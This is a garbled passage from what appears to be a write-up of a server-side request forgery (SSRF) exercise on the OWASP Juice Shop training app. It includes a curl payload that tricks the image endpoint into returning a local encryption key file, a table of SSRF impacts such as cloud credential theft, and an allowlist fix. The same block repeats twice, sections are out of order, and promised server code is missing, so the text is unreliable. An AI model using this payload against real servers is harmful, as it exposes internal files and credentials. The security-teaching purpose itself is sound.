GET /api/Image?url=https://example.com/image.png HTTP/1.1 The server code (simplified) looks like:
In Juice Shop, the impact is deliberately limited to reading a single file, but in real apps, SSRF often leads to complete internal network compromise. 6.1 Allowlist-Based Input Validation const ALLOWED_HOSTS = ['images.trusted.com', 'cdn.example.com']; const urlObj = new URL(userUrl); if (!ALLOWED_HOSTS.includes(urlObj.hostname)) return res.status(403).send('Host not allowed');
curl "http://localhost:3000/api/Image?url=http://localhost:3000/encryptionkey.txt" HTTP 200 with the encryption key in the body (may be text/plain despite image content-type header). 5. Impact Assessment | Attack Vector | Impact | |---------------|--------| | Localhost file read | Exposure of source code, config files, secrets | | Internal port scan | Discovery of admin panels, databases, Redis, Jenkins | | Cloud metadata theft | IAM credentials, access tokens → cloud account compromise | | Service interaction (e.g., Redis, Memcached) | Potential RCE via protocol smuggling |
GET /api/Image?url=https://example.com/image.png HTTP/1.1 The server code (simplified) looks like:
In Juice Shop, the impact is deliberately limited to reading a single file, but in real apps, SSRF often leads to complete internal network compromise. 6.1 Allowlist-Based Input Validation const ALLOWED_HOSTS = ['images.trusted.com', 'cdn.example.com']; const urlObj = new URL(userUrl); if (!ALLOWED_HOSTS.includes(urlObj.hostname)) return res.status(403).send('Host not allowed');
curl "http://localhost:3000/api/Image?url=http://localhost:3000/encryptionkey.txt" HTTP 200 with the encryption key in the body (may be text/plain despite image content-type header). 5. Impact Assessment | Attack Vector | Impact | |---------------|--------| | Localhost file read | Exposure of source code, config files, secrets | | Internal port scan | Discovery of admin panels, databases, Redis, Jenkins | | Cloud metadata theft | IAM credentials, access tokens → cloud account compromise | | Service interaction (e.g., Redis, Memcached) | Potential RCE via protocol smuggling |